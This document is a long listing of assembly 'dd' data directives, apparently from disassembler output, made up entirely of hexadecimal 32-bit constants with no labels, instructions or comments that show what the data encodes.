		dd 3651D0F2h, 0CD50EB00h, 0A62B1C94h, 986C3A4Fh, 0DFF2D480h
		dd 1136AC83h, 418C4600h, 2970ECA2h, 1B9E414h, 0CC137A5h
		dd 80FA907Fh, 77443E20h, 0A19C28h, 1C0F94F3h, 5A15B7A0h
		dd 0B0E7DD00h, 0C435BA65h, 95E20164h, 888818Fh,	0EDE47070h
		dd 78CA3B18h, 0CFF1B208h, 0F0E0E120h, 0D98197FEh, 0A1E4C01h
		dd 0F3DDC15Ah, 0B9FF9A00h, 2BAFD0C0h, 36D4FBh, 5D804282h
		dd 0BFFD489Fh, 0DF3E4E00h, 529A7CB1h, 0C05A74A1h, 0CF5334A0h
		dd 5D052A8Eh, 128BB71Eh, 0BD2C3280h, 11F300A2h,	0C1DA7AACh
		dd 7F0044B1h, 4E52203Eh, 0C6BB7Ch, 0FB281BCFh, 2A90B5A6h
		dd 5CB96F01h, 7929725Ah, 1D7E8FDCh, 0C0BFC7E1h,	0CED2CA27h
		dd 0B71E95B9h, 0E28F608Ch, 0CC801CB4h, 0CA991959h, 5423001Ah
		dd 9A4DE390h, 6B00DFA2h, 0ACD85E27h, 1C114A8h, 5D61CF9Bh
		dd 0E0A512F5h, 0FA2CEE8Dh, 1800548Bh, 78D65146h, 89907F4h
		dd 8082649Dh, 6F26C311h, 3C00BBF4h, 41C706E2h, 1622AB7Ch
		dd 62D37E0h, 4C327AD8h,	0E3E2F400h, 808AA5CBh, 7E7BD8h
		dd 242E137Ch, 0B8603C3Bh, 41CE8B00h, 99C639BBh,	25041CACh
		dd 0EC13C036h, 0FACF459Dh, 124BCC00h, 7D94B203h, 0C621009Ah
		dd 0DD27D178h, 56003BB4h, 0ACE6E25Dh, 1D36A4E8h, 1394ADF3h
		dd 504D0088h, 3F4D7258h, 0F63BD00h, 8AD7A3A5h, 7923009Fh
		dd 0E41F967Bh, 0B02C9557h, 491D00D5h, 0A45B601h, 30E49717h
		dd 0EEFB00AEh, 6F9263ACh, 713BE8C6h, 0B93E00EAh, 9F7E02DBh
		dd 596A3B5Fh, 0C5D5F800h, 0F39DEF7Ch, 8737C900h, 55D2448Bh
		dd 91260005h, 0CF0AE55Bh, 9A00F9EBh, 6E3549F5h,	60D9F138h
		dd 2BDC985Ch, 3FE832AFh, 0AAE81002h, 0C0EC8C8Bh, 0ECE5AADh
		dd 993C9755h, 215C1680h, 0A60092FBh, 0E70F1193h, 0B5A5E2h
		dd 0D22549E0h, 8CB10617h, 0FA4Ch, 328A8F92h, 0C29C3DAh
		dd 0A0072A0Ch, 3A121CC1h, 0EC001A50h, 0BE4F638Dh, 73E100FAh
		dd 1238B12Bh, 0E60BB75Eh, 0F929AFh, 98A836A7h, 0E50C7E0h
		dd 3811C02Fh, 0A400D971h, 0BBCA216Dh, 0F547852h, 0C9EE7982h
		dd 9456A5C0h, 0CC740FDBh, 0CA0014F2h, 0B51CF329h, 0F691EAEh
		dd 9DD1148h, 0E65500FCh, 0E4F0A051h, 8EB1A800h,	3EC1FF8Bh
		dd 3C6805CBh, 0EC3877h,	30E898E8h, 6003621h, 8D587820h
		dd 94901Eh, 0B44033A7h,	99861C0Bh, 7259AF00h, 6E828958h
		dd 0F81F0E0Ch, 22808C20h, 5153873Dh, 26E97A1Dh,	659693C0h
		dd 1C6F4D9h, 0D5324774h, 0FC62D408h, 0BA711B36h, 6914EA75h
		dd 84DD4Eh, 16D9034Fh, 1CF4E6F7h, 82B8A47Ah, 7320D135h
		dd 48D2B480h, 9A00CB3Fh, 6EB21C2Bh, 0E2A84Ah, 1B675D5Bh
		dd 5508FA42h, 0C8C28900h, 0DEEDC647h, 6FBA00EFh, 65E7C588h
		dd 29FE2EA8h, 363B63Fh,	0B1C60654h, 2443E830h, 1A9D0090h
		dd 9E5C7969h, 8F00EDF4h, 9A779670h, 90AFF1h, 0FF128865h
		dd 6FE9B245h, 2D0A8D7Ah, 0E89AE5F0h, 0ECF2E300h, 0FAEE2C1h
		dd 0DBE3CE9h, 0C0035E00h, 6F00D207h, 68D5E88Bh,	0F268AB0h
		dd 5CB25F16h, 0CD8846E0h, 0D0C092F9h, 69AA2D8Eh, 7B0200C8h
		dd 32DEFD50h, 0D338B94Eh, 3CC5BBC4h, 68758026h,	0B628E8A0h
		dd 795B0039h, 0DA34091Bh, 88FC81F0h, 89002098h,	4D6A907Dh
		dd 0FC5F18h, 0A8B8B395h, 263E57DBh, 5C0ED300h, 0EB794A62h
		dd 0BBB700A5h, 78CCF91Dh, 0F37EFB34h, 9669A43Eh, 691C24B8h
		dd 0B041F100h, 30C64681h, 0FB809B08h, 16006B45h, 0AC68D742h
		dd 0FA5AAD8Dh, 50CE00D4h, 0FEE5CBE7h, 9F24293Bh, 9C019366h
		dd 0CC433C48h, 13FBCD8h, 20150BF7h, 0DC32937Eh,	12147952h
		dd 26FFC839h, 66006C46h, 5E768487h, 5C712Eh, 53154CBh
		dd 94DD5D24h, 684FB900h, 9AD19199h, 0A64B0096h,	7B4987FBh
		dd 4200653Fh, 0DF2E1623h, 1C852874h, 8002A8ABh,	50FD2AF8h
		dd 130E82F1h, 0E08DD627h, 6D8717F6h, 0FB8107F2h, 30FDDC21h
		dd 0A4F0AF0Ah, 1B9FA001h, 7F888738h, 131C3CBh, 0EBD1FB1Ch
		dd 70B594E5h, 43001B11h, 0FFBAA88Ch, 7924E7h, 90086D30h
		dd 48954463h, 5A805C00h, 4750380Bh, 4BC901C4h, 0E791D324h
		dd 0EC0FE808h, 4460F800h, 0B661590Bh, 0E59E00B4h, 31677740h
		dd 420072DDh, 9BD837DBh, 0E2957413h, 5FB70015h,	5824D256h
		dd 0A100279Fh, 3292A7CDh, 1BCD978h, 300CBFDAh, 0E8BB19B7h
		dd 9901E711h, 0D19E2265h, 51E00E3Fh, 0E6EEECEBh, 6F796Dh
		dd 214C7E79h, 0E714B3E9h, 463E1005h, 1F87730Fh,	0C030B883h
		dd 798E039Bh, 8490C0h, 403D795Ch, 0D8240294h, 47D2B700h
		dd 0B95875F3h, 0A7AE0093h, 1DCB199Eh, 34001CEAh, 0DAE31EBBh
		dd 5C53BC29h, 440F1FACh, 0A1207B93h, 0BAE86CA0h, 7460A0Fh
		dd 520E4018h, 77597815h, 7355072Eh, 3338A3F8h, 169001E6h
		dd 9D01A484h, 6A31320Ah, 0EC705E67h, 0C061F2Ch,	91B3C0AEh
		dd 0C358B687h, 3CB4D800h, 591D6527h, 37D70348h,	81188DE6h
		dd 340C58C8h, 0DEE0B400h, 0FF62599h, 4E4A00BAh,	0CFB14367h
		dd 21002ED0h, 29D2FD47h, 35799Bh, 514BD6ADh, 0EC7AAE75h
		dd 0F622760Bh, 215A0027h, 307C5225h, 0D12C262Bh, 0A02B50BDh
		dd 80088B8h, 0F338C7F9h, 0EC0C00F2h, 0D2B94680h, 0F5000ECDh
		dd 0C2C41EA5h, 0EA27A0h, 7EC3AEBFh, 9DE693Dh, 3F883800h
		dd 0A6C929E3h, 949A0F75h, 70E75A89h, 15BA503Dh,	0D40035E7h
		dd 0C367161Dh, 4CC181h,	4379C5Dh, 1219A3CDh, 651FBD00h
		dd 3D3A9290h, 0C33500E9h, 17E0EBEh, 590055D8h, 0FADB307Bh
		dd 0AF6F11h, 51580379h,	28B60B36h, 0BA133373h, 98001B3Fh
		dd 6AD75B42h, 37B103C0h, 7A7C0E2Ah, 0C7082095h,	1E1E1408h
		dd 2616A241h, 2F1D0300h, 1742F855h, 0AFDFA9h, 62C94605h
		dd 0F0F16B16h, 800007FFh, 90932EDCh, 1F7456Fh, 0EC2CF0B6h
		dd 20AEC429h, 0E4FFAF38h, 0F0048B8h, 1E13027Ah,	1D2BD76Eh
		dd 2D12B3h, 6D8039F2h, 0D30F10AFh, 0E0EB49F0h, 9A19932Fh
		dd 29BD0078h, 0A18C7BBh, 23284B0Dh, 0B0194A0h, 7F8D35D5h
		dd 0C630E32Ah, 0E6A8012Dh, 0E8CF294Bh, 378080AFh, 122A506Fh
		dd 9703001Eh, 4EBDC80Eh, 4900B201h, 0FFFA8E64h,	6BD28Ch
		dd 0CBFB1371h, 50E7EB0Ch, 9DFDA61Eh, 6C514200h,	4388E2h
		dd 3E67EF6Bh, 574725DEh, 7F0086E6h, 953B9CCCh, 0DA60D5h
		dd 0AB779B13h, 0EEA07C33h, 9C024E00h, 1E93EC7Fh, 5BA100BEh
		dd 0D29A3CA2h, 380088F7h, 0F8C2B1E7h, 66267Bh, 8A18518Fh
		dd 0DB1F5A29h, 5FE7BA00h, 488062B1h, 0A8C60031h, 98CD5DC1h
		dd 5600D8A0h, 71EF516Dh, 1FF1A5E7h, 47DC1D66h, 0B0741F77h
		dd 2F2ABC4Bh, 730062E0h, 87965F1Ch, 0CF6A2BAAh,	0F7403A38h
		dd 6CD7B839h, 0A0BF6607h, 0D4F096DFh, 6BC16Eh, 71F363A9h
		dd 0A4EF4E42h, 1ECCEB1Fh, 0A368D401h, 6FC4E0BDh, 20476073h
		dd 0D3E451D0h, 0E7C24506h, 57196B93h, 1FF80471h, 41DDE800h
		dd 0EC5310E0h, 0C23C3850h, 91E27C00h, 259D6B05h, 86477205h
		dd 900F4364h, 1F81954h,	95F3A9F1h, 0A2349C51h, 34C97B8h
		dd 44F5909Bh, 2ED3CFE0h, 94250900h, 6FDCFA59h, 425502D7h
		dd 415F31F6h, 95060C8Bh, 0D5211967h, 18BB1524h,	50F8F51Eh
		dd 68931056h, 49B9085h,	2182A70Ch, 24402F4Eh, 88541F8Bh
		dd 936219E0h, 10BAFF19h
		dd 24A0F4C6h, 288469E3h, 430CE895h, 66290CCFh, 86774991h
		dd 1B54D454h, 83245E57h, 2ADEB527h, 79189F19h, 3548462h
		dd 9C42B978h, 3CBD1714h, 8AF92610h, 39843033h, 474AE1FEh
		dd 28D88A18h, 312B4690h, 0DFFB781Ch, 0FC0C32C7h, 3631B0C0h
		dd 0C767CD3h, 0F9C1B27h, 30400418h, 0C88501B8h,	0AB82198Ah
		dd 0C20021FAh, 0FCA6960h, 0D5DD9400h, 629F1DF5h, 0AED800CEh
		dd 69347431h, 0EC0E8782h, 0C7C7A1BAh, 2694D5C0h, 464E5480h
		dd 2BD80060h, 0EF56DD62h, 0B9C44D22h, 35C6D0EDh, 329D0EE8h
		dd 62A0DAB8h, 2C74F3C8h, 7073A400h, 397D836Dh, 0A93302D3h
		dd 1EB3449Dh, 74D45048h, 80D83C6Eh, 0A2E05C6Fh,	2CDD0012h
		dd 0C09DB6F1h, 0C8C1E53Dh, 4456C2FDh, 25CE1C4Ah, 0CBD0DC40h
		dd 0EF303571h, 8186B0BCh, 0B1CD50D4h, 0CAA51CE8h, 0E1817F51h
		dd 435D647Bh, 7080FD52h, 0D50574A8h, 2AF0874Fh,	93948400h
		dd 661537h, 0B39D0A7Dh,	0DA7CB97Ah, 0BF62521Dh,	0E7FA3C3h
		dd 0C2DCD0A4h, 8B5401C0h, 96EF442Dh, 0FC288066h, 0D96AC72Eh
		dd 0FDA50393h, 53A11D2Bh, 70E2F088h, 0B2DD8E00h, 0EC514FBFh
		dd 2E8F7h, 424A1A4h, 3850AAF6h,	0A0083707h, 769F88AEh
		dd 58CE8C00h, 0E663BDF2h, 0CDD00087h, 0B203382Dh, 220281C6h
		dd 175D466h, 0DBD960CEh, 7BA80079h, 5E8ADEE9h, 0CB0023CDh
		dd 0AE3C0181h, 6E6C63Dh, 0ADB974Eh, 4005183Ah, 8653C166h
		dd 2F628980h, 0CDAD2917h, 0E9064040h, 497E149Fh, 9DBC4700h
		dd 0C5C4F660h, 2BA30099h, 0F1F4A41Eh, 960092F8h, 4779CC9Eh
		dd 0F8516EDh, 7A950D0Eh, 89FB506h, 24C45D03h, 0E0895971h
		dd 77A37357h, 8B04280Ch, 8A013EF1h, 0F6C850h, 0DF65EE4Dh
		dd 895D2211h, 5ABF5218h, 0F8677D38h, 2A19C7A5h,	0FBDE8095h
		dd 19E832EBh, 16314862h, 2AD0057h, 5E01B1CDh, 5A4DACD4h
		dd 0A880D7B0h, 0E44C875Dh, 5003FEB9h, 440EED56h, 0AE90E749h
		dd 60E0821Fh, 1989282Dh, 0A600C8CDh, 62013142h,	7BED557Bh
		dd 10161F8Ah, 1FE8C0B1h, 2869D19h, 0E13F0DF8h, 1D88D4FCh
		dd 101CD500h, 5D9C3DFBh, 69BA18A0h, 8057F0EEh, 83404261h
		dd 0E0D3DC78h, 0E11773h, 3715C960h, 72A6A5A9h, 84863800h
		dd 19AF29AEh, 87620258h, 0E3F52FFCh, 30FE2D61h,	24540EF5h
		dd 23000FB8h, 2797D45Bh, 1CB02583h, 10E52BBh, 1CE01965h
		dd 0ED288096h, 101E3745h, 0CCC2C0DAh, 0D9948FF2h, 0F45C2300h
		dd 29038AE7h, 0E263006Ah, 0B04452A4h, 412832C5h, 0F15C985Ch
		dd 2AB8403Ch, 0FCF52803h, 1D5A5659h, 3053E9E8h,	1A7D87B0h
		dd 0F1149515h, 307A8030h, 8CE1115Fh, 1461C420h,	0C42553FCh
		dd 7E27A00h, 0E8C27FDDh, 0DE2A402Fh, 40E31E12h,	42F8D7CAh
		dd 8500DD3Fh, 0CEDE23C1h, 895C95h, 775BCC4h, 0B2D0A49Ch
		dd 85029B00h, 39B9AE53h, 0F1B02643h, 74030096h,	58321559h
		dd 9F118D02h, 80BCD60Dh, 39F17294h, 0C488C053h,	6ACA01C7h
		dd 0A4B84677h, 0DA3F4701h, 0A784CBF2h, 0D61420h, 0CD37486h
		dd 9B4811B3h, 357A2300h, 16CF9AB5h, 8677005Dh, 0F922E85Ch
		dd 8379B8DEh, 0E8C8BE35h, 0AFA03C01h, 0A08F9E85h, 0E50E63C6h
		dd 3140E6C1h, 125020AEh, 6F834842h, 70B960DAh, 104848FCh
		dd 90616907h, 35C1E526h, 22F4E60Ch, 579F09F1h, 10039C14h
		dd 8000581Fh, 0B23DF061h, 7ECA22ABh, 7D243DEBh,	478A4839h
		dd 838446CCh, 0C2DD3382h, 0CA84980Eh, 2E18E24Ch, 7A844087h
		dd 0A03C14D2h, 4115E462h, 1900C8A5h, 0B83B018Ch, 0CA003270h
		dd 98B96B82h, 0FECD06h,	39D67A61h, 602156F7h, 0FBF5E600h
		dd 958F5C62h, 46EE0757h, 12DF23Fh, 81CB71C0h, 92E47421h
		dd 58803267h, 170B91E9h, 4118B24Ah, 79311128h, 936588CFh
		dd 0F6A6A80Fh, 23B52056h, 0C2F3EF98h, 0F2601C28h, 3B20AF27h
		dd 1C3792ABh, 3D67D5h, 1C35F797h, 4603C115h, 3854DA02h
		dd 0F12DB6Fh, 0E3CE3F40h, 113886AFh, 47118096h,	0B688F4B3h
		dd 0A0DFA8C0h, 1A3E0383h, 6B48FFCCh, 0A350F8B8h, 87D5B818h
		dd 0E02D78h, 72D9F470h,	0CDBD96ECh, 582CB700h, 0EF2FFDACh
		dd 7F850786h, 0A3280B17h, 397029D6h, 0BAE804A8h, 30497548h
		dd 5A4B192Bh, 0FD450E22h, 0B0E2CDE5h, 12C0C342h, 550C7991h
		dd 40681D09h, 0CF7B07F9h, 845D5EA4h, 50B3C1A0h,	72BC4199h
		dd 83DD033h, 961D81E4h,	8F002936h, 0E68B89CEh, 48F9505Eh
		dd 1CBB0532h, 5EDDA6D2h, 411252C8h, 6EDC8304h, 50F45041h
		dd 533BCAB2h, 0A0348064h, 47E40BE7h, 9F62057Eh,	5E51D943h
		dd 81525DCCh, 0F0B5C8A3h, 0DB518030h, 0C576E235h, 9ADE03F4h
		dd 773B75DAh, 0E3321000h, 2CB6A82Eh, 0F2D40A8Fh, 8C30ED49h
		dd 6FB11E4Ch, 825848A8h, 0B3038E1Dh, 0E506F140h, 3A7CB219h
		dd 6B808362h, 75776110h, 71FF6642h, 0A000D3DDh,	0A5E0B39Ch
		dd 54A7C56Ah, 0F6FC898h, 96FFE48Ah, 504EBA00h, 30C06010h
		dd 78AA352Bh, 86D303ABh, 2F5139C2h, 0EB7619E0h,	4582BEEh
		dd 0F0DE013Ch, 5E5F5DB2h, 0C12A4DFCh, 65B57C11h, 95EBC0BFh
		dd 0D917D401h, 0D718286h, 0C031B9C3h, 242A7894h, 0DA351DC0h
		dd 1CA4EBD6h, 389A2212h, 182D10EAh, 71CD68D8h, 36080384h
		dd 27F94287h, 5CFFB781h, 6942D230h, 0A6E23163h,	2B376010h
		dd 30C110B4h, 162702C3h, 11303147h, 0A2C2CE1Ah,	48943AD8h
		dd 2DD60C7h, 0EC2C118h,	20D7C07Bh, 0AD128885h, 0D37A62E0h
		dd 85761DFFh, 13B60CD9h, 0B4A75341h, 6C1578B1h,	3782244Ch
		dd 5A83B7Fh, 0F2403838h, 220A6447h, 0D0A03AF6h,	18A1AE7Dh
		dd 464200B1h, 0F360C72Dh, 3CF70754h, 31713778h,	6E1F4090h
		dd 800A294Fh, 0A71443Eh, 0E259840Dh, 14813FDDh,	18263A15h
		dd 0EC37E582h, 7D021C90h, 0D72A6E04h, 708E191Bh, 73D07164h
		dd 9406EDA2h, 14C827B7h, 0C0DC5A17h, 0AD83B1Dh,	8FFC40F6h
		dd 1683DA72h, 101920C8h, 0F630273Fh, 53BD505Ch,	0C218345Ah
		dd 0DD97D899h, 0D4A0B787h, 766271A2h, 35041700h, 830EB0A1h
		dd 7CCE7740h, 71D8C129h, 0C7960882h, 989C56FFh,	8284F542h
		dd 42C8917Dh, 86D894D3h, 7A5078D8h, 966317E0h, 1BEAD758h
		dd 8B197E8h, 813791C3h,	9CC94049h, 0A6CEF400h, 8F223364h
		dd 6BD5668h, 706D96B0h,	70501724h, 16084E98h, 0E04C9BF6h
		dd 0AC8D5336h, 80F1E802h, 9449FC82h, 0B6833D44h, 2229ECB0h
		dd 29487DBEh, 0A220B070h, 0C9F4345Bh, 485DC228h, 7E9C34C0h
		dd 4CFB77E8h, 7F7D9818h, 0CB941E07h, 4D96E280h,	0F68C0058h
		dd 0AEC2133Dh, 0AC0022B1h, 64F9C79Ah, 41DBFh, 9E959B5Dh
		dd 0F33E13A3h, 14CC53h,	845785EFh, 1095755Ah, 0E715603Eh
		dd 0FBCF439Fh, 5E503F97h, 73441D84h, 0AAB670EEh, 0FE68440Ch
		dd 30CC2F06h, 8E30AF56h, 525A0054h, 78173EB9h, 0F151E95h
		dd 0C11414E6h, 6C2106BEh, 0EE957ECCh, 63610CCDh, 6908A4A9h
		dd 0C60618ACh, 0DC39B6FBh, 93DE0158h, 1BC96273h, 6D09D07Fh
		dd 0F31D41EAh, 382B2719h, 69092881h, 0F08BB6ECh, 0AE01D67Eh
		dd 80903E89h, 3F1A0440h, 11FA9DB3h, 0C1CCF4ECh,	10E27047h
		dd 0E59E818Ch, 0DB604938h, 268D2908h, 16932944h, 7454811Ch
		dd 505BE931h, 626D20C8h, 8C596F0h, 1830F809h, 2A4D5814h
		dd 3DCC9817h, 0B310E7FEh, 1E3080C3h, 0CB9083h, 310DDD1Ch
		dd 44A087ECh, 5460087Fh, 1709A521h, 14FE0757h, 401BA7ECh
		dd 267212B9h, 9653D2E8h
		dd 56F0018h, 0E9752A9h,	674702ECh, 6AF2B925h, 289B1498h
		dd 5C54C18h, 0C4696778h, 706C1228h, 448C59FEh, 580A0797h
		dd 289C6B68h, 84A2D2C7h, 772723E5h, 8F92A001h, 0A15F56B6h
		dd 0CB0184Ch, 825D20BCh, 0C303C7A8h, 0DD5C6B73h, 0CA1CA078h
		dd 33FCF06Fh, 0A2186E8Eh, 0DC617878h, 11449C18h, 4096BCF0h
		dd 41CC8750h, 209C0886h, 403611A1h, 1F09504Ch, 0E57FDBCh
		dd 1818DC7Ch, 3CF867BBh, 0C68C86Fh, 63ABE144h, 61CE187Ah
		dd 7FFF3819h, 0DCF0A591h, 484D63F0h, 10181CE5h,	0B220242Dh
		dd 1688C613h, 0B531401Fh, 435E2812h, 7D84208Ch,	8C08910h
		dd 94B2219Ch, 3D3744DCh, 0E577BC80h, 889F5CF0h,	50C67B1Dh
		dd 207083A9h, 87FA5BDh,	7E0218C6h, 20E66E58h, 9C10998Ch
		dd 8F6998FDh, 0C004FCD0h, 29ED3C38h, 8224CD1Eh,	300E24A4h
		dd 2D328699h, 52121808h, 0D91FC84Bh, 0D2FC940Ch, 60E7101Dh
		dd 0C5B1506Ah, 47E94D1Eh, 2DE8C398h, 0D815C018h, 0F0C79530h
		dd 0DA82311Ch, 8AE0C118h, 0B47CF0D8h, 0C851F40Ch, 290A8A9h
		dd 1EE8CDE7h, 0E434E108h, 7549DC6Eh, 3804C11Ch,	342496C4h
		dd 90FB63E7h, 0F008F31Ch, 14A05DDCh, 5C0C98C7h,	0B2A82F39h
		dd 0D8DB0C1h, 844395F1h, 33383172h, 0BCC3BC70h,	0DBEA18A0h
		dd 0C6D8BF40h, 101B2F20h, 5C60EF64h, 1607648Ah,	582BA215h
		dd 0D0F5870Ch, 604F6EDCh, 48502586h, 244C8048h,	7950D8FCh
		dd 8B7A18F9h, 0D2A7D040h, 525E0740h, 3C803873h,	770FFBF4h
		dd 90F14780h, 127C2498h, 79978C58h, 40DEF838h, 8849F512h
		dd 2FA42A86h, 19DA9831h, 381E1898h, 8C32EBCh, 197D0A7Ch
		dd 10A590A8h, 1028BE1Ch, 6E317FE0h, 475A5C18h, 7D4082B4h
		dd 10769E03h, 33132C38h, 0C4E09C8h, 24525C18h, 7409908h
		dd 0A06163DAh, 282A820Dh, 6F51E088h, 51D8E1DCh,	209A10E0h
		dd 0A183614Ch, 28808956h, 0AD1EC049h, 2DE8C6C3h, 0D08E462h
		dd 538D0183h, 692420B1h, 543C08C4h, 2079BC06h, 233B6D1Dh
		dd 8F4BED09h, 0CAB0846Fh, 0CDD70C87h, 0B5383C41h, 0C3199CE0h
		dd 5352BC08h, 74ED1824h, 1090773Eh, 8C473E8h, 0DC0485BCh
		dd 5C7C808Eh, 38CCCED9h, 0E31C503Eh, 5FFC0886h,	2D3240E7h
		dd 485B9036h, 18CFA5B0h, 90685C95h, 40D4A31Ch, 85F3104h
		dd 408ACB1Ah, 0A9C5641h, 0C9005ABh, 1B88745Bh, 7C128490h
		dd 20045575h, 2067AFCh,	2333A079h, 7F823872h, 78B66420h
		dd 2B08A7Ch, 64163F12h,	67304081h, 0C40D284h, 18B88F00h
		dd 0EA33C49Ah, 0CEDBF01Dh, 98386A68h, 19F158D8h, 99157219h
		dd 4CCD0750h, 0F4DC8895h, 381C8D12h, 7674378Ch,	38BFFD33h
		dd 0A492F427h, 0E3DC0116h, 86D89606h, 1B5044Bh,	0F74E928Ch
		dd 10B00898h, 6C0069D2h, 91DCDF87h, 6333BC9Ah, 0B841C8BDh
		dd 0B986081Eh, 2958B424h, 2CD910A8h, 0BFC71098h, 244C3C0Ch
		dd 75644670h, 0F8D13A08h, 0D08904E0h, 2C062CC2h, 54F8B057h
		dd 1F704AE9h, 6D155B12h, 0CDE70CB4h, 0A36CE07Eh, 0A69BA2B8h
		dd 18689FE0h, 6021833Ch, 20DD190Dh, 0FC79A028h,	0BD3C18C4h
		dd 427A50D1h, 8A32108Ch, 89407030h, 18789004h, 104B5B2Dh
		dd 9490222Ch, 1E8C3E4Ch, 18F2156Dh, 5CD86070h, 3CACA020h
		dd 14D8DD61h, 1209ACA0h, 1C1CAE46h, 0F97DF104h,	87039663h
		dd 8028071Ch, 5C26F0F0h, 999034A0h, 58A99C1Bh, 0C878B2F3h
		dd 5C10D761h, 288CA624h, 4E082C10h, 3A51DC9Ah, 7F16F0FCh
		dd 0C8FA38CAh, 0B90CEE81h, 484C6572h, 7CA308B7h, 0A71162F8h
		dd 50B0BC2Eh, 812A2067h, 472AF43Eh, 0AE50C053h,	3A32FCA0h
		dd 8301A022h, 1BA77CC4h, 0A823DCB0h, 0A0C053C2h, 696620F2h
		dd 24B09E90h, 2138F5CDh, 0B2E6094h, 86411376h, 0C912CF60h
		dd 0A823CD60h, 0F046C043h, 2CBE0254h, 389B9B2h,	91108207h
		dd 4F26A561h, 1C3D88C0h, 20206D1Eh, 6F20947Eh, 58CB5D13h
		dd 0B0601B18h, 0F0C64F34h, 6918A085h, 0E486F0F9h, 0B75D4065h
		dd 777F1824h, 0D3183340h, 10351918h, 0D5302455h, 8D61C1C6h
		dd 8E222018h, 10887033h, 0E709A47Bh, 45CE7425h,	0C4131FCh
		dd 84095FCCh, 64A78840h, 0D1F9A090h, 201769F0h,	0B092D454h
		dd 0DC813426h, 0DE10BD11h, 5C3510CFh, 22538A10h, 805A752Fh
		dd 7C81DEDCh, 3226212h,	48C604E7h, 0B1ED883Bh, 8E0E808h
		dd 8413D99Eh, 0D4ACD444h, 2289BB0Ch, 24E1BCB2h,	0D09A5868h
		dd 9092C444h, 4D1C31B0h, 8C2C5F21h, 3857C050h, 0DAD49827h
		dd 90C871D0h, 38C4A81Ch, 7CD3397Ch, 3508652h, 5C6E0109h
		dd 40102FB7h, 667028A6h, 28761055h, 200EBC30h, 0C9C5377Ch
		dd 0E4A49110h, 0D8ACD18Ch, 73189856h, 9A629C10h, 10A26100h
		dd 756FEEDCh, 4AA4242Ch, 0A894A924h, 10911358h,	0B770C42h
		dd 1C12B027h, 0E970040Ch, 389BAE4h, 1A7884C7h, 0A9755E80h
		dd 768B54A3h, 8840907Eh, 2877632Ah, 1810241Dh, 331079E1h
		dd 26F9126Ah, 2599C807h, 3C625245h, 60656184h, 0C0E77989h
		dd 0C43B9CA5h, 2D48B10h, 3C4202A6h, 0BC870298h,	0D6A074C9h
		dd 30BFE485h, 0ED962718h, 30861A20h, 3C6018A7h,	0A0CC1325h
		dd 6F1C08B0h, 0A18BD879h, 78AC8A3h, 4C090819h, 38985690h
		dd 529C11BCh, 0C308492h, 5FF60822h, 71FC2E9Ah, 1E369258h
		dd 49D125Ch, 81D7DC78h,	0BA467C5Ch, 4E52510h, 789281D0h
		dd 0FC40409Ch, 0C83764D9h, 5980A0AFh, 0F485F66h, 715C2058h
		dd 0D36688B0h, 3030D640h, 5C2874FCh, 0CD83CEA4h, 9BBC50C1h
		dd 0C61858BAh, 744FB805h, 0D0C970CAh, 0CB193C13h, 464D1E0h
		dd 12F8943Ah, 8C9C1FD7h, 7F405577h, 2E683662h, 220471Bh
		dd 0E9EB63E2h, 0EE0C4723h, 19F63258h, 0CC617608h, 800C62B2h
		dd 1091A516h, 0C030F74Ah, 8F71C6E4h, 0B226688Dh, 65093434h
		dd 81C04523h, 160A6C03h, 0F20701D5h, 62D75024h,	7ACF3061h
		dd 260C5894h, 395707AAh, 0A52B2527h, 4E420C87h,	9DE0BF88h
		dd 62DDB2A0h, 25C7A84Bh, 4F28F468h, 10014CA5h, 4C0DFF1Dh
		dd 8EE73088h, 0AC70468Ah, 0B61A908h, 489C4384h,	7CD4624h
		dd 9A877130h, 0C098B1A0h, 29CE9B14h, 700D2224h,	6824130Ch
		dd 29CC9ADBh, 43307C8Fh, 0D59394F9h, 471438BEh,	0E09413B9h
		dd 203C5AA5h, 6714D480h, 0A72812B3h, 2462BE27h,	2070231h
		dd 40E11408h, 0D9ED98F7h, 2FDBBC57h, 1807AA90h,	15E33650h
		dd 0BC4DE685h, 0D0561A14h, 62732EE0h, 9EE70B44h, 192DE088h
		dd 0DA4D563Bh, 0BACC091Ch, 19CE594h, 0F8B9DAA1h, 0A7488B45h
		dd 2130A5EEh, 6013F41Dh, 0B194B410h, 0B8C485FCh, 3D4781E3h
		dd 8D5376Ch, 2C8143F4h,	48BA2ABCh, 8109E70h, 0C908A074h
		dd 63FA0C05h, 0E43CE068h, 0DE421D6Eh, 0DB021C04h, 29C1C0E2h
		dd 86C73147h, 216367F9h, 61D43260h, 0E469B848h,	602EFB4Bh
		dd 5C0C288Dh, 66B30989h, 6847A06Dh, 0E4A37C10h,	94462105h
		dd 340A73Ch, 0EC67853h,	0AD06DC4Ch, 0DF2D6879h,	74416A6h
		dd 1C90A1CFh, 0FA0CB89Fh, 538FF055h, 0CE80F84Fh, 4C5ADBA9h
		dd 9142A088h, 0EEBBC07Ch, 8054B3D4h, 4862DFF8h,	477FCB50h
		dd 0F4DB0B10h, 84F8378Ah, 0B482187h, 96082091h,	20D2B9EFh
		dd 1D296FF6h, 0B9C1F4D8h, 2CD73EBDh, 8B84A7D1h,	3040915Ch
		dd 88C5234Dh, 8C096946h, 0F6341EC7h, 800A3126h,	45D047C1h
		dd 250CAD8h, 0E33B0B51h, 84F0A448h, 6D817CF3h, 249399B6h
		dd 0A1F30794h, 4660E0D8h
		dd 48C5EAA4h, 270AD43Fh, 71DC8987h, 9620DC2Ah, 0E9C779C4h
		dd 0CBB0AC10h, 0B22007B0h, 11E714E9h, 0D9A06497h, 0DA00E25Fh
		dd 0CDB88B5Ah, 350685h,	143F3647h, 0AB36DB7h, 562DCA1Ch
		dd 88EE0078h, 0C45ADB8h, 15C71835h, 662F3079h, 8D30E7F0h
		dd 0C0BA1012h, 0DE18010Ah, 0E0C690B1h, 4D07F07Fh, 2C062CA6h
		dd 54752555h, 130D0280h, 3673521h, 3DFC1F39h, 0ED824099h
		dd 0C6D54044h, 71A19868h, 0F50D308Ch, 0E1DF6FB4h, 6199F0FDh
		dd 58069808h, 480C0118h, 68B53849h, 0BCC15A2Dh,	144C2974h
		dd 0F6691781h, 589257BDh, 9C58108Dh, 84999FE3h,	0A029BD75h
		dd 52277A77h, 0D680747Ch, 0EC520B19h, 95EDCD81h, 0A554AC41h
		dd 0A805184Ah, 45E5EDC2h, 301EADA0h, 587C5B10h,	0D513D67h
		dd 31480FA6h, 2BB07D63h, 8990959Eh, 203729E0h, 0B4541281h
		dd 0ED00831Ah, 44A57EA5h, 16AD7901h, 2885ED56h,	0E6B0D4Dh
		dd 68B8479Ch, 0D8A07365h, 1180C364h, 1818DC7Bh,	0A64F506Fh
